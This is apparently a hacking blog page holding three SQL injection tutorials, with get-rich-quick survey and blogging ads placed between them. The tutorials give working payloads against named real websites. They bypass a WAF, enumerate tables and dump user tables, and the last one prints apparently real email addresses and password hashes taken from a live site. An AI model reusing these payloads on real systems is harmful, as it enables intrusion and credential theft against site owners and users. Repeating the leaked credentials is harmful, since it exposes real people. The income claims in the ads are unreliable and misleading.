how to bypass whitspaces and comma For noobs

 HI Today we will learn how to bypass white spaces and commas if it is blocked by Waf.

Lets start
Code::

http://bluegrassmidwest.com/details.php?id=18

when i put ' it generates a error message which very good for injectore
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
 for the right syntax to use near ''18''' at line 1

This error generate due to dismatch of query.

now when i tried to fix query it generates different error ...
http://bluegrassmidwest.com/details.php?id=18' %23
ERROR::
Warning: Cookie names cannot contain any of the following '=,; \t\r\n\013\014' in /home/bgmidwest/domains/bluegrassmidwest.com/public_html/details.php
on line 8 error setting cookie

i tried with null bytes , --+ etc it generates same error...

now when i remove white spaces it worked !!!
White spaces by pass with /**/....

http://bluegrassmidwest.com/details.php?id=18'/**/%23  Query fix

Now After that i tried to find columns using by order  by..
http://bluegrassmidwest.com/details.php?id=18'/**/order by 1%23
Error Again,,,Due to white spaces::

http://bluegrassmidwest.com/details.php?id=18'/**/order/**/by/**/1%23

Error Gone !!

At 12 columns it generated error message unkown column is 12.

It means it has 11 columns
Now try to find vulnerable column. For that purpose we will use Union select

http://bluegrassmidwest.com/details.php?id=18'/**/order/**/by/**/1%23

Vlunerable columns finding ::
http://bluegrassmidwest.com/details.php?id=18'/**/uNIon/**_**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11%23
But it generate same error !!
it means something wrong with commas.
lets try to bypass Comma :::

Here are the three methods which i know and mostly use to bypass [,] COMMA
1) union select 1/*!,*/ 2/*!,*/3
2) union select 1,CHAR(44), 2,CHAR(44),3,char(44)
3)(select 1)a join (select 2)b join (select 3)c
So we will use 3 option that is called joining.

PHP CODE::

http://bluegrassmidwest.com/details.php?id=-18%27union/**/select/**/*/**/from/**/(select/**/1)a/**/join/**/(select/**/2)b/**/join/**/(select/**/3)c/**/join/**/(select/**/4)d/**/join/**/(select/**/5)e/**/join/**/(select/**/6)f/**/join/**/(select/**/7)g/**/join/**/(select/**/8)h/**/join/**/(select/**/9)i/**/join/**/(select/**/10)j/**/join/**/(select/**/11)k%23

now it will show us vlunerable columns. 2 3 4 7 10 columns are vluberable.

HoW Can WE Perform Dios ??
For this we will use separator.
First of all we put our Leet name in 2

inject by Faryabi =0x696e6a6563742062792046617279616269(hexa)

http://bluegrassmidwest.com/details.php?id=-18%27union/**/select/**/*/**/from/**/(select/**/1)a/**/join/**/(select/**/0x696e6a6563742062792046617279616269)b/**/join/**/(select/**/3)c/**/join/**/(select/**/4)d/**/join/**/(select/**/5)e/**/join/**/(select/**/6)f/**/join/**/(select/**/7)g/**/join/**/(select/**/8)h/**/join/**/(select/**/9)i/**/join/**/(select/**/10)j/**/join/**/(select/**/11)k%23

Now version::

http://bluegrassmidwest.com/details.php?id=-18%27union/**/select/**/*/**/from/**/(select/**/1)a/**/join/**/(select/**/0x696e6a6563742062792046617279616269)b/**/join/**/(select/**/group_concat(version()/**/separator/**/0x203a3a207e7472306a416e2a203a3a)c/**/join/**/(select/**/4)d/**/join/**/(select/**/5)e/**/join/**/(select/**/6)f/**/join/**/(select/**/7)g/**/join/**/(select/**/8)h/**/join/**/(select/**/9)i/**/join/**/(select/**/10)j/**/join/**/(select/**/11)k%23

now Tables ::

http://bluegrassmidwest.com/details.php?id=-18%27union/**/select/**/*/**/from/**/(select/**/1)a/**/join/**/(select/**/0x696e6a6563742062792046617279616269)b/**/join/**/(select/**/group_concat(version()/**/separator/**/0x203a3a207e7472306a416e2a203a3a))c/**/join/**/(select/**/(select(group_concat(table_name/**/separator/**/0x3c62723e))/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()))d/**/join/**/(select/**/5)e/**/join/**/(select/**/6)f/**/join/**/(select/**/7)g/**/join/**/(select/**/8)h/**/join/**/(select/**/9)i/**/join/**/(select/**/10)j/**/join/**/(select/**/11)k%23

I hope u got something ...Sepcially noobs like me ...
thax For reading.

Read the rest of this entry »

Posted in SQlbasics , SQLINJECTION

Paid Surveys At Home Hurry Up !!!

--------------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------

How it Works:::::

Everyday companies pay big bucks to people like you just to know what you're thinking. They're desperate to understand how you think and shop and why you buy certain products. They spend $41 billion each year for market research to help decide if a product is worth their time and money. This helps them improve their products. So they pay YOU good money for your opinion. They Need You! Right now, we have hundreds of market research firms looking for survey takers. If you're a housewife, stay-at-home mom, student, retired, working full-time, or just looking to make some extra cash, this is your ticket to fun, easy money! 

All you have to do is wake up in the morning, check your email and click on a survey link. It simply takes a few minutes to answer basic questions about such things as your shopping preferences. When you're done, a click of the mouse puts money in your account. 

REGISTER NOW and you'll have instant access to our members area which is updated regularly, so we always have the latest and best new companies to select from. 

Instant Lifetime Access to our members area contains:

• Over 300 Companies offering Paid Surveys at Home.
• FREE BONUS: "Get Paid to Drive!"
• FREE BONUS: "Over 300 Additional Work at Home Opportunities!"

No Risk Involved:::

Your membership isn't final until you're satisfied. You can take up to 8 weeks to decide.

------------------------------------------------------------------------------------------------------------------------------

Read the rest of this entry »

Posted in earningtips

Learn The Secret Of How Others are RAking in $500-$3500 A month just By Taking Paid Surveys

--------------------------------------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------------------------------------

Hello, my name is Daniel Cooper,

And I would like to tell you one of my favorite stories I have ever heard…

It’s about a man who was at one of the lowest times in his entire life, and the story of how he was able to completely turn his life around.

This man went from being thousands of dollars in debt…

to being able to pay off ALL of his bills - living a completely debt free life.

So, who was this man?

This man was me.

It’s true.  

I was ashamed of myself… worried that I was going to lose my house… and have to go through the shameful, degrading process of moving my wife and daughters back into my parents basement…

I learned that multi-million and multi-billion dollar companies are spending billions of dollarsevery year educating themselves about the average consumer.

And one of the ways they do this, is by paying us to take surveys!

I immediately jumped right in and now I am earning $500 - $3500 a month just for giving my opinion!

I couldn’t believe it, but this is real money and I am earning a REAL income. My life has completely turned around.

I went from being severely in debt… with a negative bank balance…

to paying off ALL of my debts, being able to comfortably live a great life, easily pay bills, AND save up more money than I ever have before!

I want you to imagine waking up in the morning and grabbing some coffee...

Then you get on your computer to see what paid surveys are available for you, scroll through and pick out a couple of high paying surveys (maybe $20 - $40).

Finish these surveys and you've already made some money before you even finished your breakfast!

There is nothing better than being able to succeed while enjoying the comfort  and quiet  of your very own home. You can complete surveys while you watch tv or listen to music. You could even complete surveys while you are chatting online or talking to friends on facebook.

What's better?

You can even see exactly how much you will be paid BEFORE you take the survey!

Here is just ONE of the many Research Panels just waiting to pay you

I have been earning cash day in and day out just by taking simple surveys like the one above!

Simply give your honest opinion, and get paid!

---------------------------------------------------------------------------------------------------------------------
----------------------------------------------------------------------------------------------------------------------

                        

Read the rest of this entry »

Posted in earningtips

Start Blogging with John Chow And Earn 400+$ Per month

The most amazing part is that you can start as early as today, even if...

	You have no website or blog
	You have no technical knowledge
	You have no time to blog
	You have no expertise in your niche

Look, most people will have you fooled into thinking that making money online through blogging is difficult and complicated.

Most people also think that they do not have the knowledge to provide content and that blogging is time consuming.

But in truth, it's not.

I'll show you just how easy it can be done with simple step-by-step guides in which I (almost) literally hold your hand and teach you how to create a fantastic blog from scratch.

Join the "Blogging with John Chow" team today, and in addition to receiving an instantly accessible quick-start guide that will show you in detail how to create money spinning blogs…

You'll also get your hands on secret techniques that get your content ranked and have traffic flooding in like there's no tomorrow.

Even if you've never written a blog post in your life, my guide will show you how professional bloggers get it done and how you can too.

All you'll need is a few hours per week to follow our proven system and you will be generating passive income which will allow you the financial freedom you've always craved for.

One of my blogs makes me $40,000 a month.

That's right... One blog generated me over half a million dollars in a year.

Now imagine if you had something like that. And then replicated over and over.

One, two, three blogs… what change would that make in your life?

Would you say good bye, good riddance and all that to your day job?

Would you start living life to the fullest with total financial independence?

Would you buy a new mansion?

A top of the range sports car?

A first class round-the-world luxury vacation?

From blogging online I've been able to do all of the above...
---------------------------------------------------------------------------------------------------------

I'm even going to show you a real-life example of how with zero blogging experience you too can:

	Discover how my simple blog generates over $40,000 every single month
	Create blogs earning thousands of dollars every month, thanks to the industry's best-kept secret
	Learn the 7 biggest secrets which guarantees success in any niche you blog in
	Achieve success in blogging using a simple PROVEN step-by-step blueprint
	Building a blogging empire earning over $523,477 a year (with minimal effort)
	Get started with your very own blog in a few short clicks.
	Sell your 6 month old blogs for 5 figure paydays. --------------------------------------------------------------------- They say "content is king, but marketing is queen and the bitXh runs the household".  Here's why. Money talks and here you'll learn the secrets to how I managed to take my blog from ZERO to $40,000 a month in only a span of 2 years. Find out how to charge maximum dollars for premium ad space in your blog. I also embrace other forms of advertising and in this section I recommend specific tools and networks to build your affiliate network. ------------------------------------------------------------------------------------- Click  Here

Read the rest of this entry »

Posted in earningtips

[SQLI TRICK] find column count in one request [TUT]

first,explanation.
up to now,we got the column count with group/order by.
like this

Code:

http://www.marinaplast.com/page.php?id=13 group by 6

error 1054

Quote:(Unknown column '6' in 'group statement')

Code:

http://www.marinaplast.com/page.php?id=13 group by 5

no error.
why its happening?
behind the url /page.php?id=13 there is a sql query

PHP Code:

SELECT * FROM pages WHERE id=13 

/** if you dont know what it means,its time to learn sql.
http://www.w3schools.com/sql/default.asp **/

the union columns represent the columns in the same table.
http://www.w3schools.com/sql/sql_union.asp
for example,if the query is like this

PHP Code:

SELECT id,title,price,pic,type FROM pages WHERE id=13 

so the union will be like

PHP Code:

SELECT id,title,price,pic,type FROM pages WHERE id=13 UNION SELECT 1,2,3,4,5 

because there is 5 columns in the table pages,wich wer'e in now.

now,after we understand,lets moving on.
we now the query behind our url is

PHP Code:

SELECT * FROM pages WHERE id=13 

but we dont know how much is * (it means select all the columns in the table).
so lets count *

Code:

http://www.marinaplast.com/page.php?id=13 and (select * from pages)=(select 1)

we set a condition,and (the main query)=(select 1)
but we didnt write the columns!
so it gives result of the columns in the table.

Code:

http://www.marinaplast.com/page.php?id=13 and (select * from pages)=(select 1)

error 1241

Quote:(Operand should contain 5 column(s))

it means 5 columns

Code:

http://www.marinaplast.com/page.php?id=13 div 0 union select 1,2,3,4,5

columns 2&3 vuln.

hope you learned something

Author ::: BEnZI

Read the rest of this entry »

Posted in SQlbasics , SQLINJECTION

Error Base Tutorials New Methods

                        ~~~::::Benzi Tutorials::::~~~~

Maybe some of you heard, or maybe not, but theres a new type of error based in mysql.
discoverd about a week ago.

the dude who discoverd this called spari, which in case a dear friend of mine.

this method called "non-geometric error based".
lets start.

this method based on the function polygon().
in a nutshell, this function constructs geometry collection.
the vuln thing about it, that it can only work with the function point().
for example-

Code:

SELECT polygon(point(53,12));

and the output is a bunch of ???'s.
not really exciting, ah?
for those who know a bit geometry, it goes like point(x,y).
now look whats happend when we dont use point()-

Code:

SELECT polygon(53,12);
Error 1367 (22007): Illegal non geometric '53' value found during parsing

we get an error on our x argument, 53.
so lets think a bit.
if the error returns our string input as an string output, what would happend if we try to run a query?

Code:

SELECT polygon((select*from(select*from(select@@version)f)x));
Error 1367 (22007): Illegal non geometric '(select `x`.`@@version` from (select '5.5.38-35.2' AS `@@version` from dual) `x`)' value found during parsing

boom! 5.5.38-35.2.

now lets try that on a real site-

conditions:
mysql_error on.

lets get the version-

Code:

http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select@@version)f)x))

5.1.73-log

nice, but can we extract more?
hell yeah.
we will be using this to get tables-

Code:

http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select group_concat(table_name) from information_schema.tables where table_schema=database())f)x))

blocklist,log_login,pernodmajorwinners,pernodmanagement,pernodmatches,pernodmess​ages,pernodnews,pernodpolls,pernodtopics,pernoduser

im interested in the table pernoduser, lets get columns-

Code:

http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select group_concat(column_name) from information_schema.columns where table_name='pernoduser' )f)x))

pernodid,nickname,fullname,forumname,password,email,handicap,p_dbl,p_sgl,login,forumnotify,deleted

and dump the table-

Code:

http://www.thepernodship.co.uk/users/view.php?id=polygon((select*from(select*from(select group_concat(email,0x3a,password) from pernoduser)f)x))

and.rogers@tiscali.co.uk:22fdf94cc29e7aff8ece472ed119c53e,butters65@hotmail.co.u​k:795b087b2ceb3482dc9956eb8f126ea3

and we get the data.
to overpower the 'cut results', we can just add a condition in the end, " where email>last-email ".
hope you learned something 

Read the rest of this entry »

Posted in SQlbasics , SQLINJECTION